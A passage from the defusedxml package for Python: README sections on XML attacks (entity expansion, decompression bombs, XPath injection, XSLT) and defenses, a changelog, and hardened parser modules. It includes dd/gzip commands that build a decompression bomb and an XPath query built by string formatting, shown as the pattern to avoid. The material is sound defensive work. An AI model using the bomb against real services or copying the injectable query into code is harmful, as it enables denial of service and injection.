**untested** function to monkey patch all stdlib modules with ``defusedxml.defuse_stdlib()``. All functions and parser classes accept three additional keyword arguments. They return either the same objects as the original functions or compatible subclasses. forbid_dtd (default: False) disallow XML with a ```` processing instruction and raise a *DTDForbidden* exception when a DTD processing instruction is found. forbid_entities (default: True) disallow XML with ```` declarations inside the DTD and raise an *EntitiesForbidden* exception when an entity is declared. forbid_external (default: True) disallow any access to remote or local resources in external entities or DTD and raising an *ExternalReferenceForbidden* exception when a DTD or entity references an external resource. defusedxml (package) -------------------- DefusedXmlException, DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden, NotSupportedError defuse_stdlib() (*experimental*) defusedxml.cElementTree ----------------------- parse(), iterparse(), fromstring(), XMLParser defusedxml.ElementTree ----------------------- parse(), iterparse(), fromstring(), XMLParser defusedxml.expatreader ---------------------- create_parser(), DefusedExpatParser defusedxml.sax -------------- parse(), parseString(), create_parser() defusedxml.expatbuilder ----------------------- parse(), parseString(), DefusedExpatBuilder, DefusedExpatBuilderNS defusedxml.minidom ------------------ parse(), parseString() defusedxml.pulldom ------------------ parse(), parseString() defusedxml.xmlrpc ----------------- The fix is implemented as monkey patch for the stdlib's xmlrpc package (3.x) or xmlrpclib module (2.x). The function `monkey_patch()` enables the fixes, `unmonkey_patch()` removes the patch and puts the code in its former state. The monkey patch protects against XML related attacks as well as decompression bombs and excessively large requests or responses. The default setting is 30 MB for requests, responses and gzip decompression. You can modify the default by changing the module variable `MAX_DATA`. A value of `-1` disables the limit. defusedxml.lxml --------------- The module acts as an *example* how you could protect code that uses lxml.etree. It implements a custom Element class that filters out Entity instances, a custom parser factory and a thread local storage for parser instances. It also has a check_docinfo() function which inspects a tree for internal or external DTDs and entity declarations. In order to check for entities lxml > 3.0 is required. parse(), fromstring() RestrictedElement, GlobalParserTLS, getDefaultParser(), check_docinfo() defusedexpat ============ The `defusedexpat package`_ (`defusedexpat on PyPI`_) comes with binary extensions and a `modified expat`_ libary instead of the standard `expat parser`_. It's basically a stand-alone version of the patches for Python's standard library C extensions. Modifications in expat ---------------------- new definitions:: XML_BOMB_PROTECTION XML_DEFAULT_MAX_ENTITY_INDIRECTIONS XML_DEFAULT_MAX_ENTITY_EXPANSIONS XML_DEFAULT_RESET_DTD new XML_FeatureEnum members:: XML_FEATURE_MAX_ENTITY_INDIRECTIONS XML_FEATURE_MAX_ENTITY_EXPANSIONS XML_FEATURE_IGNORE_DTD new XML_Error members:: XML_ERROR_ENTITY_INDIRECTIONS XML_ERROR_ENTITY_EXPANSION new API functions:: int XML_GetFeature(XML_Parser parser, enum XML_FeatureEnum feature, long *value); int XML_SetFeature(XML_Parser parser, enum XML_FeatureEnum feature, long value); int XML_GetFeatureDefault(enum XML_FeatureEnum feature, long *value); int XML_SetFeatureDefault(enum XML_FeatureEnum feature, long value); XML_FEATURE_MAX_ENTITY_INDIRECTIONS Limit the amount of indirections that are allowed to occur during the expansion of a nested entity. A counter starts when an entity reference is encountered. It resets after the entity is fully expanded. The limit protects the parser against exponential entity expansion attacks (aka billion laughs attack). When the limit is exceeded the parser stops and fails with `XML_ERROR_ENTITY_INDIRECTIONS`. A value of 0 disables the protection. Supported range 0 .. UINT_MAX Default 40 XML_FEATURE_MAX_ENTITY_EXPANSIONS Limit the total length of all entity expansions throughout the entire document. The lengths of all entities are accumulated in a parser variable. The setting protects against quadratic blowup attacks (lots of expansions of a large entity declaration). When the sum of all entities exceeds the limit, the parser stops and fails with `XML_ERROR_ENTITY_EXPANSION`. A value of 0 disables the protection. Supported range 0 .. UINT_MAX Default 8 MiB XML_FEATURE_RESET_DTD Reset all DTD information after the block has been parsed. When the flag is set (default: false) all DTD information after the endDoctypeDeclHandler has been called. The flag can be set inside the endDoctypeDeclHandler. Without DTD information any entity reference in the document body leads to `XML_ERROR_UNDEFINED_ENTITY`. Supported range 0, 1 Default 0 How to avoid XML vulnerabilities ================================ Best practices -------------- * Don't allow DTDs * Don't expand entities * Don't resolve externals * Limit parse depth * Limit total input size * Limit parse time * Favor a SAX or iterparse-like parser for potential large data * Validate and properly quote arguments to XSL transformations and XPath queries * Don't use XPath expression from untrusted sources * Don't apply XSL transformations that come untrusted sources (based on Brad Hill's `Attacking XML Security`_) Other things to consider ======================== XML, XML parsers and processing libraries have more features and possible issue that could lead to DoS vulnerabilities or security exploits in applications. I have compiled an incomplete list of theoretical issues that need further research and more attention. The list is deliberately pessimistic and a bit paranoid, too. It contains things that might go wrong under daffy circumstances. attribute blowup / hash collision attack ---------------------------------------- XML parsers may use an algorithm with quadratic runtime O(n :sup:`2`) to handle attributes and namespaces. If it uses hash tables (dictionaries) to store attributes and namespaces the implementation may be vulnerable to hash collision attacks, thus reducing the performance to O(n :sup:`2`) again. In either case an attacker is able to forge a denial of service attack with an XML document that contains thousands upon thousands of attributes in a single node. I haven't researched yet if expat, pyexpat or libxml2 are vulnerable. decompression bomb ------------------ The issue of decompression bombs (aka `ZIP bomb`_) apply to all XML libraries that can parse compressed XML stream like gzipped HTTP streams or LZMA-ed files. For an attacker it can reduce the amount of transmitted data by three magnitudes or more. Gzip is able to compress 1 GiB zeros to roughly 1 MB, lzma is even better:: $ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz $ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy $ ls -sh zeros.* 1020K zeros.gz 148K zeros.xy None of Python's standard XML libraries decompress streams except for ``xmlrpclib``. The module is vulnerable to decompression bombs. lxml can load and process compressed data through libxml2 transparently. libxml2 can handle even very large blobs of compressed data efficiently without using too much memory. But it doesn't protect applications from decompression bombs. A carefully written SAX or iterparse-like approach can be safe. Processing Instruction ---------------------- `PI`_'s like:: may impose more threats for XML processing. It depends if and how a processor handles processing instructions. The issue of URL retrieval with network or local file access apply to processing instructions, too. Other DTD features ------------------ `DTD`_ has more features like ````. I haven't researched how these features may be a security threat. XPath ----- XPath statements may introduce DoS vulnerabilities. Code should never execute queries from untrusted sources. An attacker may also be able to create a XML document that makes certain XPath queries costly or resource hungry. XPath injection attacks ----------------------- XPath injeciton attacks pretty much work like SQL injection attacks. Arguments to XPath queries must be quoted and validated properly, especially when they are taken from the user. The page `Avoid the dangers of XPath injection`_ list some ramifications of XPath injections. Python's standard library doesn't have XPath support. Lxml supports parameterized XPath queries which does proper quoting. You just have to use its xpath() method correctly:: # DON'T >>> tree.xpath("/tag[@id='%s']" % value) # instead do >>> tree.xpath("/tag[@id=$tagid]", tagid=name) XInclude -------- `XML Inclusion`_ is another way to load and include external files:: This feature should be disabled when XML files from an untrusted source are processed. Some Python XML libraries and libxml2 support XInclude but don't have an option to sandbox inclusion and limit it to allowed directories. XMLSchema location ------------------ A validating XML parser may download schema files from the information in a ``xsi:schemaLocation`` attribute. :: XSL Transformation ------------------ You should keep in mind that XSLT is a Turing complete language. Never process XSLT code from unknown or untrusted source! XSLT processors may allow you to interact with external resources in ways you can't even imagine. Some processors even support extensions that allow read/write access to file system, access to JRE objects or scripting with Jython. Example from `Attacking XML Security`_ for Xalan-J:: Related CVEs ============ CVE-2013-1664 Unrestricted entity expansion induces DoS vulnerabilities in Python XML libraries (XML bomb) CVE-2013-1665 External entity expansion in Python XML libraries inflicts potential security flaws and DoS vulnerabilities Other languages / frameworks ============================= Several other programming languages and frameworks are vulnerable as well. A couple of them are affected by the fact that libxml2 up to 2.9.0 has no protection against quadratic blowup attacks. Most of them have potential dangerous default settings for entity expansion and external entities, too. Perl ---- Perl's XML::Simple is vulnerable to quadratic entity expansion and external entity expansion (both local and remote). Ruby ---- Ruby's REXML document parser is vulnerable to entity expansion attacks (both quadratic and exponential) but it doesn't do external entity expansion by default. In order to counteract entity expansion you have to disable the feature:: REXML::Document.entity_expansion_limit = 0 libxml-ruby and hpricot don't expand entities in their default configuration. PHP --- PHP's SimpleXML API is vulnerable to quadratic entity expansion and loads entites from local and remote resources. The option ``LIBXML_NONET`` disables network access but still allows local file access. ``LIBXML_NOENT`` seems to have no effect on entity expansion in PHP 5.4.6. C# / .NET / Mono ---------------- Information in `XML DoS and Defenses (MSDN)`_ suggest that .NET is vulnerable with its default settings. The article contains code snippets how to create a secure XML reader:: XmlReaderSettings settings = new XmlReaderSettings(); settings.ProhibitDtd = false; settings.MaxCharactersFromEntities = 1024; settings.XmlResolver = null; XmlReader reader = XmlReader.Create(stream, settings); Java ---- Untested. The documentation of Xerces and its `Xerces SecurityMananger`_ sounds like Xerces is also vulnerable to billion laugh attacks with its default settings. It also does entity resolving when an ``org.xml.sax.EntityResolver`` is configured. I'm not yet sure about the default setting here. Java specialists suggest to have a custom builder factory:: DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance(); builderFactory.setXIncludeAware(False); builderFactory.setExpandEntityReferences(False); builderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, True); # either builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True); # or if you need DTDs builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", False); builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", False); builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", False); builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", False); TODO ==== * DOM: Use xml.dom.xmlbuilder options for entity handling * SAX: take feature_external_ges and feature_external_pes (?) into account * test experimental monkey patching of stdlib modules * improve documentation License ======= Copyright (c) 2013-2017 by Christian Heimes Licensed to PSF under a Contributor Agreement. See http://www.python.org/psf/license for licensing details. Acknowledgements ================ Brett Cannon (Python Core developer) review and code cleanup Antoine Pitrou (Python Core developer) code review Aaron Patterson, Ben Murphy and Michael Koziarski (Ruby community) Many thanks to Aaron, Ben and Michael from the Ruby community for their report and assistance. Thierry Carrez (OpenStack) Many thanks to Thierry for his report to the Python Security Response Team on behalf of the OpenStack security team. Carl Meyer (Django) Many thanks to Carl for his report to PSRT on behalf of the Django security team. Daniel Veillard (libxml2) Many thanks to Daniel for his insight and assistance with libxml2. semantics GmbH (http://www.semantics.de/) Many thanks to my employer semantics for letting me work on the issue during working hours as part of semantics's open source initiative. References ========== * `XML DoS and Defenses (MSDN)`_ * `Billion Laughs`_ on Wikipedia * `ZIP bomb`_ on Wikipedia * `Configure SAX parsers for secure processing`_ * `Testing for XML Injection`_ .. _defusedxml package: https://bitbucket.org/tiran/defusedxml .. _defusedxml on PyPI: https://pypi.python.org/pypi/defusedxml .. _defusedexpat package: https://bitbucket.org/tiran/defusedexpat .. _defusedexpat on PyPI: https://pypi.python.org/pypi/defusedexpat .. _modified expat: https://bitbucket.org/tiran/expat .. _expat parser: http://expat.sourceforge.net/ .. _Attacking XML Security: https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf .. _Billion Laughs: http://en.wikipedia.org/wiki/Billion_laughs .. _XML DoS and Defenses (MSDN): http://msdn.microsoft.com/en-us/magazine/ee335713.aspx .. _ZIP bomb: http://en.wikipedia.org/wiki/Zip_bomb .. _DTD: http://en.wikipedia.org/wiki/Document_Type_Definition .. _PI: https://en.wikipedia.org/wiki/Processing_Instruction .. _Avoid the dangers of XPath injection: http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html .. _Configure SAX parsers for secure processing: http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html .. _Testing for XML Injection: https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008) .. _Xerces SecurityMananger: http://xerces.apache.org/xerces2-j/javadocs/xerces2/org/apache/xerces/util/SecurityManager.html .. _XML Inclusion: http://www.w3.org/TR/xinclude/#include_element Changelog ========= defusedxml 0.5.0 ---------------- *Release date: 07-Feb-2017* - No changes defusedxml 0.5.0.rc1 -------------------- *Release date: 28-Jan-2017* - Add compatibility with Python 3.6 - Drop support for Python 2.6, 3.1, 3.2, 3.3 - Fix lxml tests (XMLSyntaxError: Detected an entity reference loop) defusedxml 0.4.1 ---------------- *Release date: 28-Mar-2013* - Add more demo exploits, e.g. python_external.py and Xalan XSLT demos. - Improved documentation. defusedxml 0.4 -------------- *Release date: 25-Feb-2013* - As per http://seclists.org/oss-sec/2013/q1/340 please REJECT CVE-2013-0278, CVE-2013-0279 and CVE-2013-0280 and use CVE-2013-1664, CVE-2013-1665 for OpenStack/etc. - Add missing parser_list argument to sax.make_parser(). The argument is ignored, though. (thanks to Florian Apolloner) - Add demo exploit for external entity attack on Python's SAX parser, XML-RPC and WebDAV. defusedxml 0.3 -------------- *Release date: 19-Feb-2013* - Improve documentation defusedxml 0.2 -------------- *Release date: 15-Feb-2013* - Rename ExternalEntitiesForbidden to ExternalReferenceForbidden - Rename defusedxml.lxml.check_dtd() to check_docinfo() - Unify argument names in callbacks - Add arguments and formatted representation to exceptions - Add forbid_external argument to all functions and classs - More tests - LOTS of documentation - Add example code for other languages (Ruby, Perl, PHP) and parsers (Genshi) - Add protection against XML and gzip attacks to xmlrpclib defusedxml 0.1 -------------- *Release date: 08-Feb-2013* - Initial and internal release for PSRT review Keywords: xml bomb DoS Platform: all Classifier: Development Status :: 5 - Production/Stable Classifier: Intended Audience :: Developers Classifier: License :: OSI Approved :: Python Software Foundation License Classifier: Natural Language :: English Classifier: Programming Language :: Python Classifier: Programming Language :: Python :: 2 Classifier: Programming Language :: Python :: 2.7 Classifier: Programming Language :: Python :: 3 Classifier: Programming Language :: Python :: 3.4 Classifier: Programming Language :: Python :: 3.5 Classifier: Programming Language :: Python :: 3.6 Classifier: Topic :: Text Processing :: Markup :: XML defusedxml-0.5.0/defusedxml/0000775000175000017500000000000013047075227016573 5ustar heimesheimes00000000000000defusedxml-0.5.0/defusedxml/common.py0000664000175000017500000000766013043120735020435 0ustar heimesheimes00000000000000# defusedxml # # Copyright (c) 2013 by Christian Heimes # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/psf/license for licensing details. """Common constants, exceptions and helpe functions """ import sys PY3 = sys.version_info[0] == 3 class DefusedXmlException(ValueError): """Base exception """ def __repr__(self): return str(self) class DTDForbidden(DefusedXmlException): """Document type definition is forbidden """ def __init__(self, name, sysid, pubid): super(DTDForbidden, self).__init__() self.name = name self.sysid = sysid self.pubid = pubid def __str__(self): tpl = "DTDForbidden(name='{}', system_id={!r}, public_id={!r})" return tpl.format(self.name, self.sysid, self.pubid) class EntitiesForbidden(DefusedXmlException): """Entity definition is forbidden """ def __init__(self, name, value, base, sysid, pubid, notation_name): super(EntitiesForbidden, self).__init__() self.name = name self.value = value self.base = base self.sysid = sysid self.pubid = pubid self.notation_name = notation_name def __str__(self): tpl = "EntitiesForbidden(name='{}', system_id={!r}, public_id={!r})" return tpl.format(self.name, self.sysid, self.pubid) class ExternalReferenceForbidden(DefusedXmlException): """Resolving an external reference is forbidden """ def __init__(self, context, base, sysid, pubid): super(ExternalReferenceForbidden, self).__init__() self.context = context self.base = base self.sysid = sysid self.pubid = pubid def __str__(self): tpl = "ExternalReferenceForbidden(system_id='{}', public_id={})" return tpl.format(self.sysid, self.pubid) class NotSupportedError(DefusedXmlException): """The operation is not supported """ def _apply_defusing(defused_mod): assert defused_mod is sys.modules[defused_mod.__name__] stdlib_name = defused_mod.__origin__ __import__(stdlib_name, {}, {}, ["*"]) stdlib_mod = sys.modules[stdlib_name] stdlib_names = set(dir(stdlib_mod)) for name, obj in vars(defused_mod).items(): if name.startswith("_") or name not in stdlib_names: continue setattr(stdlib_mod, name, obj) return stdlib_mod def _generate_etree_functions(DefusedXMLParser, _TreeBuilder, _parse, _iterparse): """Factory for functions needed by etree, dependent on whether cElementTree or ElementTree is used.""" def parse(source, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True): if parser is None: parser = DefusedXMLParser(target=_TreeBuilder(), forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external) return _parse(source, parser) def iterparse(source, events=None, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True): if parser is None: parser = DefusedXMLParser(target=_TreeBuilder(), forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external) return _iterparse(source, events, parser) def fromstring(text, forbid_dtd=False, forbid_entities=True, forbid_external=True): parser = DefusedXMLParser(target=_TreeBuilder(), forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external) parser.feed(text) return parser.close() return parse, iterparse, fromstring defusedxml-0.5.0/defusedxml/pulldom.py0000664000175000017500000000221213043063452020607 0ustar heimesheimes00000000000000# defusedxml # # Copyright (c) 2013 by Christian Heimes # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/psf/license for licensing details. """Defused xml.dom.pulldom """ from __future__ import print_function, absolute_import from xml.dom.pulldom import parse as _parse from xml.dom.pulldom import parseString as _parseString from .sax import make_parser __origin__ = "xml.dom.pulldom" def parse(stream_or_string, parser=None, bufsize=None, forbid_dtd=False, forbid_entities=True, forbid_external=True): if parser is None: parser = make_parser() parser.forbid_dtd = forbid_dtd parser.forbid_entities = forbid_entities parser.forbid_external = forbid_external return _parse(stream_or_string, parser, bufsize) def parseString(string, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True): if parser is None: parser = make_parser() parser.forbid_dtd = forbid_dtd parser.forbid_entities = forbid_entities parser.forbid_external = forbid_external return _parseString(string, parser) defusedxml-0.5.0/defusedxml/sax.py0000664000175000017500000000267013043120735017734 0ustar heimesheimes00000000000000# defusedxml # # Copyright (c) 2013 by Christian Heimes # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/psf/license for licensing details. """Defused xml.sax """ from __future__ import print_function, absolute_import from xml.sax import InputSource as _InputSource from xml.sax import ErrorHandler as _ErrorHandler from . import expatreader __origin__ = "xml.sax" def parse(source, handler, errorHandler=_ErrorHandler(), forbid_dtd=False, forbid_entities=True, forbid_external=True): parser = make_parser() parser.setContentHandler(handler) parser.setErrorHandler(errorHandler) parser.forbid_dtd = forbid_dtd parser.forbid_entities = forbid_entities parser.forbid_external = forbid_external parser.parse(source) def parseString(string, handler, errorHandler=_ErrorHandler(), forbid_dtd=False, forbid_entities=True, forbid_external=True): from io import BytesIO if errorHandler is None: errorHandler = _ErrorHandler() parser = make_parser() parser.setContentHandler(handler) parser.setErrorHandler(errorHandler) parser.forbid_dtd = forbid_dtd parser.forbid_entities = forbid_entities parser.forbid_external = forbid_external inpsrc = _InputSource() inpsrc.setByteStream(BytesIO(string)) parser.parse(inpsrc) def make_parser(parser_list=[]): return expatreader.create_parser() defusedxml-0.5.0/defusedxml/expatreader.py0000664000175000017500000000440313043063452021443 0ustar heimesheimes00000000000000# defusedxml # # Copyright (c) 2013 by Christian Heimes # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/psf/license for licensing details. """Defused xml.sax.expatreader """ from __future__ import print_function, absolute_import from xml.sax.expatreader import ExpatParser as _ExpatParser from .common import (DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden) __origin__ = "xml.sax.expatreader" class DefusedExpatParser(_ExpatParser): """Defused SAX driver for the pyexpat C module.""" def __init__(self, namespaceHandling=0, bufsize=2 ** 16 - 20, forbid_dtd=False, forbid_entities=True, forbid_external=True): _ExpatParser.__init__(self, namespaceHandling, bufsize) self.forbid_dtd = forbid_dtd self.forbid_entities = forbid_entities self.forbid_external = forbid_external def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset): raise DTDForbidden(name, sysid, pubid) def defused_entity_decl(self, name, is_parameter_entity, value, base, sysid, pubid, notation_name): raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name) def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name): # expat 1.2 raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name) def defused_external_entity_ref_handler(self, context, base, sysid, pubid): raise ExternalReferenceForbidden(context, base, sysid, pubid) def reset(self): _ExpatParser.reset(self) parser = self._parser if self.forbid_dtd: parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl if self.forbid_entities: parser.EntityDeclHandler = self.defused_entity_decl parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl if self.forbid_external: parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler def create_parser(*args, **kwargs): return DefusedExpatParser(*args, **kwargs) defusedxml-0.5.0/defusedxml/xmlrpc.py0000664000175000017500000001245113043120735020444 0ustar heimesheimes00000000000000# defusedxml # # Copyright (c) 2013 by Christian Heimes # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/psf/license for licensing details. """Defused xmlrpclib Also defuses gzip bomb """ from __future__ import print_function, absolute_import import io from .common import ( DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden, PY3) if PY3: __origin__ = "xmlrpc.client" from xmlrpc.client import ExpatParser from xmlrpc import client as xmlrpc_client from xmlrpc import server as xmlrpc_server from xmlrpc.client import gzip_decode as _orig_gzip_decode from xmlrpc.client import GzipDecodedResponse as _OrigGzipDecodedResponse else: __origin__ = "xmlrpclib" from xmlrpclib import ExpatParser import xmlrpclib as xmlrpc_client xmlrpc_server = None from xmlrpclib import gzip_decode as _orig_gzip_decode from xmlrpclib import GzipDecodedResponse as _OrigGzipDecodedResponse try: import gzip except ImportError: gzip = None # Limit maximum request size to prevent resource exhaustion DoS # Also used to limit maximum amount of gzip decoded data in order to prevent # decompression bombs # A value of -1 or smaller disables the limit MAX_DATA = 30 * 1024 * 1024 # 30 MB def defused_gzip_decode(data, limit=None): """gzip encoded data -> unencoded data Decode data using the gzip content encoding as described in RFC 1952 """ if not gzip: raise NotImplementedError if limit is None: limit = MAX_DATA f = io.BytesIO(data) gzf = gzip.GzipFile(mode="rb", fileobj=f) try: if limit < 0: # no limit decoded = gzf.read() else: decoded = gzf.read(limit + 1) except IOError: raise ValueError("invalid data") f.close() gzf.close() if limit >= 0 and len(decoded) > limit: raise ValueError("max gzipped payload length exceeded") return decoded class DefusedGzipDecodedResponse(gzip.GzipFile if gzip else object): """a file-like object to decode a response encoded with the gzip method, as described in RFC 1952. """ def __init__(self, response, limit=None): # response doesn't support tell() and read(), required by # GzipFile if not gzip: raise NotImplementedError self.limit = limit = limit if limit is not None else MAX_DATA if limit < 0: # no limit data = response.read() self.readlength = None else: data = response.read(limit + 1) self.readlength = 0 if limit >= 0 and len(data) > limit: raise ValueError("max payload length exceeded") self.stringio = io.BytesIO(data) gzip.GzipFile.__init__(self, mode="rb", fileobj=self.stringio) def read(self, n): if self.limit >= 0: left = self.limit - self.readlength n = min(n, left + 1) data = gzip.GzipFile.read(self, n) self.readlength += len(data) if self.readlength > self.limit: raise ValueError("max payload length exceeded") return data else: return gzip.GzipFile.read(self, n) def close(self): gzip.GzipFile.close(self) self.stringio.close() class DefusedExpatParser(ExpatParser): def __init__(self, target, forbid_dtd=False, forbid_entities=True, forbid_external=True): ExpatParser.__init__(self, target) self.forbid_dtd = forbid_dtd self.forbid_entities = forbid_entities self.forbid_external = forbid_external parser = self._parser if self.forbid_dtd: parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl if self.forbid_entities: parser.EntityDeclHandler = self.defused_entity_decl parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl if self.forbid_external: parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset): raise DTDForbidden(name, sysid, pubid) def defused_entity_decl(self, name, is_parameter_entity, value, base, sysid, pubid, notation_name): raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name) def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name): # expat 1.2 raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name) def defused_external_entity_ref_handler(self, context, base, sysid, pubid): raise ExternalReferenceForbidden(context, base, sysid, pubid) def monkey_patch(): xmlrpc_client.FastParser = DefusedExpatParser xmlrpc_client.GzipDecodedResponse = DefusedGzipDecodedResponse xmlrpc_client.gzip_decode = defused_gzip_decode if xmlrpc_server: xmlrpc_server.gzip_decode = defused_gzip_decode def unmonkey_patch(): xmlrpc_client.FastParser = None xmlrpc_client.GzipDecodedResponse = _OrigGzipDecodedResponse xmlrpc_client.gzip_decode = _orig_gzip_decode if xmlrpc_server: xmlrpc_server.gzip_decode = _orig_gzip_decode defusedxml-0.5.0/defusedxml/lxml.py0000664000175000017500000001156013043120735020113 0ustar heimesheimes00000000000000# defusedxml # # Copyright (c) 2013 by Christian Heimes # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/psf/license for licensing details. """Example code for lxml.etree protection The code has NO protection against decompression bombs. """ from __future__ import print_function, absolute_import import threading from lxml import etree as _etree from .common import DTDForbidden, EntitiesForbidden, NotSupportedError LXML3 = _etree.LXML_VERSION[0] >= 3 __origin__ = "lxml.etree" tostring = _etree.tostring class RestrictedElement(_etree.ElementBase): """A restricted Element class that filters out instances of some classes """ __slots__ = () # blacklist = (etree._Entity, etree._ProcessingInstruction, etree._Comment) blacklist = _etree._Entity def _filter(self, iterator): blacklist = self.blacklist for child in iterator: if isinstance(child, blacklist): continue yield child def __iter__(self): iterator = super(RestrictedElement, self).__iter__() return self._filter(iterator) def iterchildren(self, tag=None, reversed=False): iterator = super(RestrictedElement, self).iterchildren( tag=tag, reversed=reversed) return self._filter(iterator) def iter(self, tag=None, *tags): iterator = super(RestrictedElement, self).iter(tag=tag, *tags) return self._filter(iterator) def iterdescendants(self, tag=None, *tags): iterator = super(RestrictedElement, self).iterdescendants(tag=tag, *tags) return self._filter(iterator) def itersiblings(self, tag=None, preceding=False): iterator = super(RestrictedElement, self).itersiblings( tag=tag, preceding=preceding) return self._filter(iterator) def getchildren(self): iterator = super(RestrictedElement, self).__iter__() return list(self._filter(iterator)) def getiterator(self, tag=None): iterator = super(RestrictedElement, self).getiterator(tag) return self._filter(iterator) class GlobalParserTLS(threading.local): """Thread local context for custom parser instances """ parser_config = { 'resolve_entities': False, # 'remove_comments': True, # 'remove_pis': True, } element_class = RestrictedElement def createDefaultParser(self): parser = _etree.XMLParser(**self.parser_config) element_class = self.element_class if self.element_class is not None: lookup = _etree.ElementDefaultClassLookup(element=element_class) parser.set_element_class_lookup(lookup) return parser def setDefaultParser(self, parser): self._default_parser = parser def getDefaultParser(self): parser = getattr(self, "_default_parser", None) if parser is None: parser = self.createDefaultParser() self.setDefaultParser(parser) return parser _parser_tls = GlobalParserTLS() getDefaultParser = _parser_tls.getDefaultParser def check_docinfo(elementtree, forbid_dtd=False, forbid_entities=True): """Check docinfo of an element tree for DTD and entity declarations The check for entity declarations needs lxml 3 or newer. lxml 2.x does not support dtd.iterentities(). """ docinfo = elementtree.docinfo if docinfo.doctype: if forbid_dtd: raise DTDForbidden(docinfo.doctype, docinfo.system_url, docinfo.public_id) if forbid_entities and not LXML3: # lxml < 3 has no iterentities() raise NotSupportedError("Unable to check for entity declarations " "in lxml 2.x") if forbid_entities: for dtd in docinfo.internalDTD, docinfo.externalDTD: if dtd is None: continue for entity in dtd.iterentities(): raise EntitiesForbidden(entity.name, entity.content, None, None, None, None) def parse(source, parser=None, base_url=None, forbid_dtd=False, forbid_entities=True): if parser is None: parser = getDefaultParser() elementtree = _etree.parse(source, parser, base_url=base_url) check_docinfo(elementtree, forbid_dtd, forbid_entities) return elementtree def fromstring(text, parser=None, base_url=None, forbid_dtd=False, forbid_entities=True): if parser is None: parser = getDefaultParser() rootelement = _etree.fromstring(text, parser, base_url=base_url) elementtree = rootelement.getroottree() check_docinfo(elementtree, forbid_dtd, forbid_entities) return rootelement XML = fromstring def iterparse(*args, **kwargs): raise NotSupportedError("defused lxml.etree.iterparse not available") defusedxml-0.5.0/defusedxml/expatbuilder.py0000664000175000017500000000762613043120735021637 0ustar heimesheimes00000000000000# defusedxml # # Copyright (c) 2013 by Christian Heimes # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/psf/license for licensing details. """Defused xml.dom.expatbuilder """ from __future__ import print_function, absolute_import from xml.dom.expatbuilder import ExpatBuilder as _ExpatBuilder from xml.dom.expatbuilder import Namespaces as _Namespaces from .common import (DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden) __origin__ = "xml.dom.expatbuilder" class DefusedExpatBuilder(_ExpatBuilder): """Defused document builder""" def __init__(self, options=None, forbid_dtd=False, forbid_entities=True, forbid_external=True): _ExpatBuilder.__init__(self, options) self.forbid_dtd = forbid_dtd self.forbid_entities = forbid_entities self.forbid_external = forbid_external def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset): raise DTDForbidden(name, sysid, pubid) def defused_entity_decl(self, name, is_parameter_entity, value, base, sysid, pubid, notation_name): raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name) def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name): # expat 1.2 raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name) def defused_external_entity_ref_handler(self, context, base, sysid, pubid): raise ExternalReferenceForbidden(context, base, sysid, pubid) def install(self, parser): _ExpatBuilder.install(self, parser) if self.forbid_dtd: parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl if self.forbid_entities: # if self._options.entities: parser.EntityDeclHandler = self.defused_entity_decl parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl if self.forbid_external: parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler class DefusedExpatBuilderNS(_Namespaces, DefusedExpatBuilder): """Defused document builder that supports namespaces.""" def install(self, parser): DefusedExpatBuilder.install(self, parser) if self._options.namespace_declarations: parser.StartNamespaceDeclHandler = ( self.start_namespace_decl_handler) def reset(self): DefusedExpatBuilder.reset(self) self._initNamespaces() def parse(file, namespaces=True, forbid_dtd=False, forbid_entities=True, forbid_external=True): """Parse a document, returning the resulting Document node. 'file' may be either a file name or an open file object. """ if namespaces: build_builder = DefusedExpatBuilderNS else: build_builder = DefusedExpatBuilder builder = build_builder(forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external) if isinstance(file, str): fp = 